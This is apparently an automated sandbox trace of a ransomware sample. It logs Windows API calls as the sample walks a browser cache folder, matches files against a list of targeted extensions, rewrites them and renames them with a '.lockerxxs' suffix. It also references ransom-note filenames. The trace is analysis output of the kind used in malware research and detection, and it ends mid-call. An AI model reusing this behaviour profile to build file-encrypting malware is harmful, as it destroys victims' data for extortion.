[0082.861] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2c0 [0082.861] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45915110, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45915110, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45915110, dwHighDateTime=0x1d2faf3)) returned 1 [0082.861] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.861] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x29a, lpOverlapped=0x0) returned 1 [0082.866] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png") returned="BB5zDwX[1].png" [0082.866] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.866] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x29a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x29a, lpOverlapped=0x0) returned 1 [0082.866] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.866] CloseHandle (hObject=0xa4) returned 1 [0082.867] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bb5zdwx[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bb5zdwx[1].png.lockerxxs")) returned 1 [0082.869] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b042f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b042f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45b042f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBaK3Nm[1].png", cAlternateFileName="BBAK3N~1.PNG")) returned 1 [0082.869] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.869] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBaK3Nm[1].png") returned 1 [0082.869] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBaK3Nm[1].png") returned 1 [0082.869] lstrcmpiA (lpString1="", lpString2="BBaK3Nm[1].png") returned -1 [0082.869] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png") returned="BB5zDwX[1].png" [0082.869] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.869] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.869] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.869] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.869] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBaK3Nm[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png" [0082.869] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.ems") returned 0 [0082.869] lstrlenA (lpString="*.ems") returned 5 [0082.869] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.db") returned 0 [0082.869] lstrlenA (lpString="*.db") returned 4 [0082.869] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.dbf") returned 0 [0082.869] lstrlenA (lpString="*.dbf") returned 5 [0082.869] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.myox") returned 0 [0082.870] lstrlenA (lpString="*.myox") returned 6 [0082.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.myo") returned 0 [0082.870] lstrlenA (lpString="*.myo") returned 5 [0082.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.qbw") returned 0 [0082.870] lstrlenA (lpString="*.qbw") returned 5 [0082.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.qbb") returned 0 [0082.870] lstrlenA (lpString="*.qbb") returned 5 [0082.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.qbm") returned 0 [0082.870] lstrlenA (lpString="*.qbm") returned 5 [0082.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.qbo") returned 0 [0082.870] lstrlenA (lpString="*.qbo") returned 5 [0082.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.qbx") returned 0 [0082.870] lstrlenA (lpString="*.qbx") returned 5 [0082.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.qba") returned 0 [0082.870] lstrlenA (lpString="*.qba") returned 5 [0082.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.qby") returned 0 [0082.870] lstrlenA (lpString="*.qby") returned 5 [0082.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.qbj") returned 0 [0082.870] lstrlenA (lpString="*.qbj") returned 5 [0082.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.ofx") returned 0 [0082.870] lstrlenA (lpString="*.ofx") returned 5 [0082.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.qif") returned 0 [0082.870] lstrlenA (lpString="*.qif") returned 5 [0082.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.mye") returned 0 [0082.870] lstrlenA (lpString="*.mye") returned 5 [0082.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.mbox") returned 0 [0082.871] lstrlenA (lpString="*.mbox") returned 6 [0082.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.eml") returned 0 [0082.871] lstrlenA (lpString="*.eml") returned 5 [0082.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.pst") returned 0 [0082.871] lstrlenA (lpString="*.pst") returned 5 [0082.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.ost") returned 0 [0082.871] lstrlenA (lpString="*.ost") returned 5 [0082.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.idx") returned 0 [0082.871] lstrlenA (lpString="*.idx") returned 5 [0082.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.dbx") returned 0 [0082.871] lstrlenA (lpString="*.dbx") returned 5 [0082.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.sql") returned 0 [0082.871] lstrlenA (lpString="*.sql") returned 5 [0082.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.mdb") returned 0 [0082.871] lstrlenA (lpString="*.mdb") returned 5 [0082.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.fdb") returned 0 [0082.871] lstrlenA (lpString="*.fdb") returned 5 [0082.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.wab") returned 0 [0082.871] lstrlenA (lpString="*.wab") returned 5 [0082.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.dat") returned 0 [0082.871] lstrlenA (lpString="*.dat") returned 5 [0082.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.txt") returned 0 [0082.871] lstrlenA (lpString="*.txt") returned 5 [0082.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.jpeg") returned 0 [0082.871] lstrlenA (lpString="*.jpeg") returned 6 [0082.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.jpg") returned 0 [0082.872] lstrlenA (lpString="*.jpg") returned 5 [0082.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", pszSpec="*.png") returned 1 [0082.872] lstrlenA (lpString="*.png") returned 5 [0082.872] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png" [0082.872] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png" [0082.872] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png." [0082.872] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png.lockerxxs" [0082.872] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbak3nm[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.873] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x227 [0082.873] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45b042f0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45b042f0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45b042f0, dwHighDateTime=0x1d2faf3)) returned 1 [0082.873] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.873] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x201, lpOverlapped=0x0) returned 1 [0082.875] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png") returned="BBaK3Nm[1].png" [0082.875] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.875] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x201, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x201, lpOverlapped=0x0) returned 1 [0082.875] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.875] CloseHandle (hObject=0xa4) returned 1 [0082.877] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbak3nm[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbak3nm[1].png.lockerxxs")) returned 1 [0082.878] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53337450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53337450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53337450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2143, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBLcCz[1].jpg", cAlternateFileName="BBBLCC~1.JPG")) returned 1 [0082.878] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.878] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBLcCz[1].jpg") returned 1 [0082.878] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBLcCz[1].jpg") returned 1 [0082.878] lstrcmpiA (lpString1="", lpString2="BBBLcCz[1].jpg") returned -1 [0082.878] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png") returned="BBaK3Nm[1].png" [0082.878] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.878] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.878] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.878] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.878] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBLcCz[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg" [0082.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.ems") returned 0 [0082.878] lstrlenA (lpString="*.ems") returned 5 [0082.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.db") returned 0 [0082.878] lstrlenA (lpString="*.db") returned 4 [0082.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.dbf") returned 0 [0082.878] lstrlenA (lpString="*.dbf") returned 5 [0082.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.myox") returned 0 [0082.878] lstrlenA (lpString="*.myox") returned 6 [0082.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.myo") returned 0 [0082.879] lstrlenA (lpString="*.myo") returned 5 [0082.879] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.qbw") returned 0 [0082.879] lstrlenA (lpString="*.qbw") returned 5 [0082.879] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.qbb") returned 0 [0082.879] lstrlenA (lpString="*.qbb") returned 5 [0082.879] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.qbm") returned 0 [0082.879] lstrlenA (lpString="*.qbm") returned 5 [0082.879] PathMatchSpecA 